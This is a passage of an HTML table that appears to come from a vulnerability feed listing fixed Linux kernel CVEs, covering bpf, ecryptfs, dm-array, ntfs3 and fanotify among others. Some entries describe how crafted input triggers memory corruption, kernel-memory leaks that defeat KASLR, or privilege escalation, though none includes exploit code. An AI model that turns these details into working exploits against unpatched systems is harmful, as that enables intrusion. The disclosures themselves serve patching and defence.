&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ip: orphan prefetched skbs before multicast forwarding IPv4 and IPv6 input preserve an skb-&amp;gt;sk association installed by bpf_sk_assign() so that local delivery can use the selected socket under RCU. Both address families can also prefetch a socket in UDP early demux. In both paths (BPF and UDP early demux) a reference is not guaranteed to be held on the socket. When a multicast packet is not locally deliverable, IPv6 hands the original skb to ip6_mr_input(). IPv4&#039;s ip_mr_input() similarly keeps the original skb when local delivery is not needed. Either path can put the skb on an unresolved multicast route queue or forward it after the receive-side RCU section ends. After the prefetched socket is destroyed, a later skb free invokes sock_pfree() and dereferences the stale skb-&amp;gt;sk. Orphan the skb before each non-local multicast forwarding path. Local delivery retains the original skb; the existing skb_clone() calls provide multicast forwarding with a socket-free clone.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89564&quot; target=&quot;_blank&quot;&gt;CVE-2026-89564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/mce: Make the MCE notifier per-region Flavien Solt reported lifetime issues with the CXL MCE notifier, which can lead to NULL dereferences and use-after-free in the MCE handler. The notifier was registered per memory device and stored in &#039;struct cxl_memdev_state&#039;, even though it only needs the region state (the region&#039;s SPA range and its extended linear cache size). Instead of keeping the memory device and endpoint alive, the correct fix is to move the notifier into &#039;struct cxl_region&#039; and register it from cxl_region_probe() as it should be a per-region notifier. Setup the registration to only happen for regions that have an extended linear cache as that is the only current usage. Remove cxl_port_get_spa_cache_alias() as it is now dead code. [ dj: Update dev_warn() when notifier fails due to kconfig. (Ben) ]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89570&quot; target=&quot;_blank&quot;&gt;CVE-2026-89570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/features: bound fwctl command payload to the input buffer fwctl_cmd_rpc() copies cmd-&amp;gt;in_len bytes into inbuf = kvzalloc(cmd-&amp;gt;in_len) and passes inbuf and in_len to -&amp;gt;fw_rpc(). The CXL callback cxlctl_fw_rpc() ignores in_len and never checks the user-controlled op_size against it. cxlctl_set_feature() bounds op_size only from below (op_size &amp;lt;= sizeof(feat_in-&amp;gt;hdr)) and then reads op_size - sizeof(hdr) bytes from feat_in-&amp;gt;feat_data via cxl_set_feature(). With a small in_len and a large op_size the first memcpy() already reads past the kvzalloc(in_len) buffer; the out-of-bounds bytes are placed in the mailbox payload and sent to the device, and a large enough op_size can walk into unmapped memory and oops the kernel. The Get paths pin op_size to a fixed size but likewise read the input struct without checking in_len. Reject, at the single dispatch point, any request whose fixed header plus op_size does not fit in the copied-in buffer. The lower-bound test guards the subtraction and ensures op_size was copied in before it is read.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89571&quot; target=&quot;_blank&quot;&gt;CVE-2026-89571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm array: reject an array block whose value size is not the caller&#039;s array_block_check() can only compare the header against itself, so a block with value_size 4 and max_entries 1018 is internally consistent and passes. dm-cache keeps two arrays -- mappings at 8 bytes and hints at 4 -- and the roots for both live in the superblock. Point the mappings root at a hint block and __load_mappings() walks it through an info whose value size is 8, so element_at() strides 8 bytes over 4-byte entries and reaches offset 8160 of a 4096-byte block. get_ablock() and __shadow_ablock() are the two places that hold the block and the caller at once. Reject there when the two value sizes disagree. Arrays only ever read their own blocks, so this fires on crafted metadata only.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89573&quot; target=&quot;_blank&quot;&gt;CVE-2026-89573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm array: validate array block headers on read array_block_check() validates blocknr and csum and nothing else, while node_check(), next to it, has bounded the structural fields since both were written. dm_array_cursor_next() takes its loop bound from the on-disk nr_entries and element_at() is unguarded pointer arithmetic, so a count larger than the block holds keeps the cursor in one block while the index grows past it and the read walks off the dm-bufio buffer -- dm_cache_load_mappings() drives it once per cache block at activation. Check the header against itself: reject a zero value_size, require max_entries to equal calc_max_entries() for that value_size and block size, and require nr_entries to fit. Equality rather than an upper bound, since a count below the real capacity trips BUG_ON() in fill_ablock() and trim_ablock(). Metadata dm-array writes satisfies all three.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89574&quot; target=&quot;_blank&quot;&gt;CVE-2026-89574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Harden bloom filter sizing and indexing on 32-bit kernels bloom_map_alloc() has two 32-bit-specific problems when the computed bitmap reaches the U32_MAX fallback case. First, BITS_TO_BYTES(U32_MAX) is evaluated with 32-bit arithmetic. The addition performed by DIV_ROUND_UP wraps, so the map allocates only the fixed-size bloom filter object while keeping bitset_mask == U32_MAX. Subsequent updates can then write past the allocated object. Second, fixing only the allocation size is not sufficient. The bloom hash is a u32, but set_bit() takes a signed long bit number and x86 test_bit() eventually feeds the index to variable_test_bit(long, ...). On 32-bit kernels, hashes in [0x80000000, U32_MAX] therefore become negative bit offsets. x86 bt/bts with a memory operand interpret those offsets relative to the supplied base, so a map with bitset_mask == U32_MAX can read or write before bloom-&amp;gt;bitset even after allocating the full 512 MiB bitmap. Keep the U32_MAX fallback, but split each hash into a word pointer and an in-word bit number before calling test_bit() or set_bit(). The bitops argument is then always in [0, BITS_PER_LONG - 1], while BIT_WORD(h) still selects the intended word in the full bitmap. Compute the bitset size from (u64)bitset_mask + 1 before passing the final size to bpf_map_area_alloc(). This fixes the original under-allocation and keeps the allocated storage consistent with the addressable bitset. Exploitation note: local privilege escalation is possible on a 32-bit x86 kernel using the under-allocation bug from a binary with CAP_BPF.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89579&quot; target=&quot;_blank&quot;&gt;CVE-2026-89579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Disable preemption in __bpf_get_stack get_perf_callchain() returns a per-CPU perf_callchain_entry buffer and releases its recursion slot via put_callchain_entry() before returning, so nothing keeps the entry reserved while __bpf_get_stack() consumes it below. A preemptible BPF program (e.g. a non-sleepable raw tracepoint program on a PREEMPT kernel, which runs under migrate_disable() but not preempt_disable()) can be scheduled out between obtaining the entry and the copy. Another task scheduled on the same CPU then reuses the same per-CPU buffer and overwrites trace-&amp;gt;nr with a larger value. copy_len is then computed from the inflated trace-&amp;gt;nr and can exceed the caller&#039;s buffer, causing an out-of-bounds write in the memcpy() and in the build_id path. The rcu_read_lock() taken here alone does not prevent this. It is only taken on the may_fault path, and under CONFIG_PREEMPT_RCU it does not disable preemption; it merely keeps perf&#039;s callchain buffer array alive (freed via call_rcu()) and does nothing to stop another task from reusing the entry. Disable preemption around obtaining the callchain entry and copying it into the caller&#039;s buffer, so the entry cannot be reused underneath us and trace-&amp;gt;nr stays bounded by max_depth. Build ID resolution may fault and is therefore deferred until after preemption is re-enabled; by then the instruction pointers have already been copied into buf, so it operates only on that private copy. Note, preempt_disable() also subsumes the buffer-lifetime guarantee the rcu_read_lock() provided, since a preempt-disabled section is an RCU read-side critical section for the callchain buffers&#039; call_rcu() reclaim. [ changed Fixes: commit ]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89580&quot; target=&quot;_blank&quot;&gt;CVE-2026-89580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf, x86: Fix per-CPU address resolution into an extended register The destination of the per-CPU address MOV is encoded in ModRM.reg, which is extended by REX.R, but the REX prefix is built with add_1mod(), which sets REX.B. REX.B extends ModRM.rm and SIB.base, and this instruction addresses memory as disp32 with no base, so the bit has no effect at all and the high register bit is simply lost. Every is_ereg() destination therefore resolves to the wrong register, picking whichever one shares the low three bits: R5 -&amp;gt; RAX R7 -&amp;gt; RBP R8 -&amp;gt; RSI R9 -&amp;gt; RDI With BPF_REG_5, whose reg2hex is 0, the emitted 65 49 03 04 25 &amp;lt;off&amp;gt; add %gs:&amp;lt;off&amp;gt;,%rax adds the per-CPU offset to RAX rather than R8. The destination keeps the unadjusted address and RAX is clobbered, so the program goes on to dereference a pointer that was never made per-CPU: BUG: unable to handle page fault for address: 0000607e386a8894 RIP: bpf_prog_707837aafd2aa9ae_update_percpu_data+0x93/0xc9 Call Trace: __bpf_prog_test_run_raw_tp+0x2dc/0x7d0 __flush_smp_call_function_queue+0x1e9/0xc80 Kernel panic - not syncing: Fatal exception in interrupt R5 is the mildest of the four, aliasing a scratch register and faulting at the store. R7 aliases RBP and would corrupt the frame pointer, R8 and R9 alias the argument registers. Use add_2mod() so the register goes through REX.R, matching how add_2reg() places it in ModRM.reg and how emit_priv_frame_ptr() hardcodes 0x4c for the same instruction with R9. Encodings for the non-extended registers are unchanged. Problem showed up when trying to resurrect BPF_GCC CI (selftests built with BPF_GCC). This has gone unnoticed because clang reloads the address into R1 before each per-CPU access, so the destination is never an extended register. GCC keeps several per-CPU addresses live at once, and test_progs-bpf_gcc panics the kernel in global_percpu_data/init, where the address of a .percpu variable ends up in R5.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89581&quot; target=&quot;_blank&quot;&gt;CVE-2026-89581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: block: validate user space vectors during extraction The bio-based drivers don&#039;t necessarily check the alignment split, and stacking block drivers don&#039;t always handle a misalignment detected after submitting the bio. Validate user vectors against the device&#039;s dma_alignment as the bio is built from the iov_iter, rejecting misaligned early with -EINVAL.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89584&quot; target=&quot;_blank&quot;&gt;CVE-2026-89584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: auxdisplay: charlcd: cancel backlight work on registration failure With CONFIG_CHARLCD_BL_FLASH, charlcd_init() schedules bl_work before charlcd_register() calls misc_register(). If registration fails, the caller frees the charlcd object while delayed work still contains its address. Add charlcd_deinit() to cancel the delayed work and turn the backlight off. Use it for both registration rollback and normal unregistration.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89585&quot; target=&quot;_blank&quot;&gt;CVE-2026-89585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: fix stack buffer overflow in query_capability() query_capability() copies four ACPI buffer objects returned by the firmware _DSM into fixed-size u8[16] fields in struct pfru_update_cap_info using memcpy with the firmware-supplied length: memcpy(&amp;amp;cap_hdr-&amp;gt;code_type, elements[CAP_CODE_TYPE_IDX].buffer.pointer, elements[CAP_CODE_TYPE_IDX].buffer.length); The same pattern repeats for drv_type, platform_id, and oem_id. If the firmware returns buffer.length &amp;gt; 16 for any of these fields, memcpy writes past the destination array. struct pfru_update_cap_info is stack-allocated in pfru_ioctl(). Confirmed with KASAN on 7.2-rc6: three stack-out-of-bounds reports are generated when a DSM returns 64-byte buffers, with writes reaching 44 bytes past the end of cap_hdr&#039;s [64, 156) frame window into adjacent stack redzones. Introduce a helper pointer to out_obj-&amp;gt;package.elements and use it to validate each buffer length against its destination field size before copying, returning -EINVAL if the firmware supplies an oversized buffer.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89587&quot; target=&quot;_blank&quot;&gt;CVE-2026-89587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hugetlb: only adjust reservation during unmapping if mapcount is 0 Since df7a6d1f6405, __unmap_hugepage_range can adjust reservations. In the case of folio mapped in both a parent and a child, if the parent unmaps the range first, the reservation adjustment will result in an underflow of the reserved count. Once the child unmaps the range, the count is restored. Change __unmap_hugepage_range() to check the mapcount before adjusting the reservation.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89593&quot; target=&quot;_blank&quot;&gt;CVE-2026-89593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hsi: omap_ssi_core: fix missing DMA mask setup for SSI controller device The OMAP SSI driver uses a synthetic HSI controller device allocated via hsi_alloc_controller(), which does not go through the normal OF/platform device initialization path. As a result, the embedded struct device does not have a DMA mask initialized by default. After recent DMA API hardening changes, dma_map_sg() and related helpers now require a valid dma_mask to be present, otherwise the driver may crash or trigger warnings when attempting DMA mapping operations. Fix this by explicitly initializing the DMA mask for the SSI controller device and setting a 32-bit DMA mask, which matches the hardware capabilities.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89594&quot; target=&quot;_blank&quot;&gt;CVE-2026-89594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: forcedeth: fix off-by-one when saving/restoring non-PCI config space nv_suspend() and nv_resume() walk the non-PCI configuration space with for (i = 0; i &amp;lt;= np-&amp;gt;register_size/sizeof(u32); i++) which runs one iteration too many. saved_config_space is declared as u32 saved_config_space[NV_PCI_REGSZ_MAX/4]; and NV_PCI_REGSZ_VER3 is equal to NV_PCI_REGSZ_MAX (0x604), so on a VER3 device register_size/sizeof(u32) is exactly the array length and the last iteration addresses one element past the end. The element it lands on is np-&amp;gt;name_rx[0..3]: saved_config_space[] is followed immediately by char name_rx[IFNAMSIZ + 3], and char needs no padding. Nothing observable is corrupted by that, because nv_request_irq() rewrites name_rx with sprintf() before it is ever passed to request_irq(). The bug is the out-of-bounds access itself, which UBSAN reports and which CONFIG_UBSAN_TRAP=y turns into a trap that aborts the running kernel code, plus an MMIO read and, on resume, an MMIO writel() to base + 0x604, one dword past the range the driver mapped: np-&amp;gt;base = ioremap(addr, np-&amp;gt;register_size); VER1 and VER2 devices stay inside the array, but they too get the stray read and the stray write one dword past their own window. Caught by UBSAN on an Apple Macmini3,1 (MCP79) during a deep S3 cycle. The splat below is trimmed: the build path in the file name, the CPU and taint lines, the Workqueue line, the &quot;?&quot; hint frames, and the frames below device_suspend are all cut. The kernel was tainted, with an out-of-tree nouveau and CPU_OUT_OF_SPEC; forcedeth itself was the stock module. UBSAN: array-index-out-of-bounds in drivers/net/ethernet/nvidia/forcedeth.c:6225:25 index 385 is out of range for type &#039;u32 [385]&#039; Call Trace: dump_stack_lvl+0x5d/0x80 ubsan_epilogue+0x5/0x2b __ubsan_handle_out_of_bounds.cold+0x54/0x59 __this_module+0xe398c/0xe9010 [forcedeth] pci_pm_suspend+0x80/0x170 dpm_run_callback+0x51/0x160 device_suspend+0x1a2/0x4a0 ... Both loops are hit. UBSAN reports each source location only once per module load (__ubsan_handle_out_of_bounds() calls suppress_report(), which does test_and_set_bit(REPORTED_BIT, ...) on the struct source_location), so the two splats land in the first S3 cycle after the module is loaded and later cycles are silent even though the access still runs off the end every time. In that first cycle line 6225 is reported from pci_pm_suspend and line 6240 from pci_pm_resume. The same off-by-one was fixed in nv_get_regs() by commit ba9aa134287f (&quot;forcedeth: fix buffer overflow&quot;) in 2012; these two loops were missed. The suspend and resume side was reported on LKML in September 2013 by Marc Weber, with the same analysis and the same one-character fix, but the patch was attached rather than sent inline and the thread ended there. Use &amp;lt; instead of &amp;lt;=, which saves and restores exactly register_size bytes.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89596&quot; target=&quot;_blank&quot;&gt;CVE-2026-89596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fbdev: uvesafb: unregister connector callback on init failure uvesafb_init() registers the v86d connector callback before registering the platform driver. If platform_driver_register() fails, the function returns the error directly and leaves the connector callback registered. The later platform-device failure path already unregisters the callback. Add the same cleanup before the final return when platform-driver registration fails. This issue was identified during our ongoing static-analysis research while reviewing kernel code.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89597&quot; target=&quot;_blank&quot;&gt;CVE-2026-89597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fanotify: fix use-after-free of file range info fsnotify_pre_content() builds its file_range on the triggering task&#039;s stack. fanotify_alloc_perm_event() saves a pointer to range.pos in the heap-allocated permission event so copy_range_info_to_user() can report the offset later. The event reader can set the event state to FAN_EVENT_REPORTED and then sleep while preparing the file descriptor. If a signal interrupts the triggering task at that point, fanotify_get_response() changes the state to FAN_EVENT_CANCELED and returns. This unwinds the file_range stack frame while the reader still owns the event. The reader then dereferences pevent-&amp;gt;ppos and copies the stale stack value to userspace. KASAN reported: BUG: KASAN: use-after-free in fanotify_read+0x293e/0x2970 Read of size 8 at addr ffff88811434fc50 by task fanotify_inotif/95 Call Trace: fanotify_read+0x293e/0x2970 vfs_read+0x177/0xa20 ksys_read+0xf7/0x1c0 do_syscall_64+0xf9/0x540 entry_SYSCALL_64_after_hwframe+0x77/0x7f Store the range position directly in the permission event and use FANOTIFY_NO_RANGE when range information is unavailable. The event remains alive until the reader finishes, so the reported offset no longer depends on the triggering task&#039;s stack.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89600&quot; target=&quot;_blank&quot;&gt;CVE-2026-89600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: erofs: skip sufficiently large global buffers when resizing z_erofs_gbuf_nrpages is advanced only after every global buffer has been grown. If a resize fails after some buffers were enlarged, a retry revisits those enlarged buffers. Retrying the same size then returns -ENOMEM because alloc_pages_bulk() has no pages to add and the unchanged return value is treated as a failure. Retrying an intermediate size allocates a temporary pointer array smaller than gbuf-&amp;gt;nrpages and copies more existing pointers than the array can hold. Skip buffers that already satisfy the request. Once all remaining buffers have caught up, advancing z_erofs_gbuf_nrpages again describes the guaranteed minimum size across the pool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89602&quot; target=&quot;_blank&quot;&gt;CVE-2026-89602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ecryptfs: release message context on send failure ecryptfs_send_message_locked() moves a message context from the free list to the allocated list before sending the request to the userspace daemon. If ecryptfs_send_miscdev() fails, the context is left on the allocated list and cannot be reused. Move it back to the free list on failure and clear the caller&#039;s pointer.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89605&quot; target=&quot;_blank&quot;&gt;CVE-2026-89605&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ecryptfs: reject too-small tag 70 packets ecryptfs_parse_tag_70_packet() subtracts fixed metadata fields from the parsed packet body size to derive the encrypted filename size. A malformed packet with a body smaller than those fixed fields can underflow that size calculation. Reject tag 70 packets before the subtraction unless the body contains the signature, cipher code, and at least one byte of encrypted filename data.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89606&quot; target=&quot;_blank&quot;&gt;CVE-2026-89606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ecryptfs: reject oversized encrypted_key_size in parse_tag_3_packet parse_tag_3_packet() set encrypted_key_size from the Tag 3 packet body without bounding it against ECRYPTFS_MAX_KEY_BYTES (64). When encrypted_key_size &amp;gt; 64, decrypt_passphrase_encrypted_session_key() sets decrypted_key_size = encrypted_key_size and performs two out-of-bounds writes: 1. crypto_skcipher_decrypt() writes encrypted_key_size bytes into decrypted_key[64] via scatterlist, overflowing into the parent ecryptfs_auth_tok struct. 2. memcpy(crypt_stat-&amp;gt;key, decrypted_key, decrypted_key_size) writes into crypt_stat-&amp;gt;key[64], corrupting root_iv, keysig_list, and mutexes in ecryptfs_crypt_stat. Only AES-192 (cipher code 0x08) enables this because it sets crypt_stat-&amp;gt;key_size = 24 independently of encrypted_key_size, allowing crypto_skcipher_setkey() to succeed while encrypted_key_size exceeds ECRYPTFS_MAX_KEY_BYTES. The PKI decryption path (parse_tag_65_packet) already validates decrypted_key_size &amp;lt;= ECRYPTFS_MAX_KEY_BYTES; the passphrase path omits this check. Bound encrypted_key_size against ECRYPTFS_MAX_KEY_BYTES (64) rather than ECRYPTFS_MAX_ENCRYPTED_KEY_BYTES (512). The 64-byte limit also protects the 512-byte encrypted_key[] buffer, so the former 512-byte check is removed as redundant. [tyhicks: Adjust the code comment to refer to macros representing the buffer sizes rather than mentioning the buffer size values since they may change in the future]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89607&quot; target=&quot;_blank&quot;&gt;CVE-2026-89607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ecryptfs: pass packet set buffer size to parser ecryptfs_parse_packet_set() receives a pointer into the file header, but it calculates the remaining packet buffer size from PAGE_SIZE - 8. For version 1 headers the packet set starts later in the header, so this can overstate the available buffer. Pass the actual packet set buffer length from the caller and calculate per-packet limits from the remaining bytes in that buffer. Recompute the remaining length after consuming a tag 3 packet before parsing the following tag 11 packet.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89608&quot; target=&quot;_blank&quot;&gt;CVE-2026-89608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ecryptfs: hold msg ctx list lock when cleaning daemon queue ecryptfs_exorcise_daemon() drops queued messages from a dying daemon without holding ecryptfs_msg_ctx_lists_mux, but ecryptfs_msg_ctx_alloc_to_free() requires that lock. Take the list lock while moving the queued contexts back to the free list to avoid racing with other global msg ctx list users.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89609&quot; target=&quot;_blank&quot;&gt;CVE-2026-89609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix info-leak on partial LZNT decompress in ni_read_frame() ni_read_frame() decompresses an LZNT $DATA frame into the vmapped target pages and then trusts decompress_lznt()&#039;s return value: unc_size = decompress_lznt(frame_ondisk, ondisk_size, frame_mem, frame_size); if ((ssize_t)unc_size &amp;lt; 0) err = unc_size; else if (!unc_size || unc_size &amp;gt; frame_size) err = -EINVAL; decompress_lznt() stops as soon as the compressed stream is exhausted (e.g. a zero chunk header) and returns the number of bytes it actually wrote, which may be far less than frame_size. The bytes between unc_size and frame_size are never written. The only memset() that follows zeroes the region beyond i_valid; when the frame lies entirely within the file&#039;s valid size that memset() does not run, so the gap retains whatever was in the just-vmapped pages. All pages are then marked uptodate and returned to userspace, disclosing uninitialized (recently-freed) kernel page memory. A crafted compressed file whose stream decompresses to only a few bytes leaks the remainder of every frame on a plain read(2), which is enough to recover kernel pointers and defeat KASLR. Zero the [unc_size, frame_size) tail immediately after a successful LZNT decompress so the remainder reads back as zero.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89616&quot; target=&quot;_blank&quot;&gt;CVE-2026-89616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
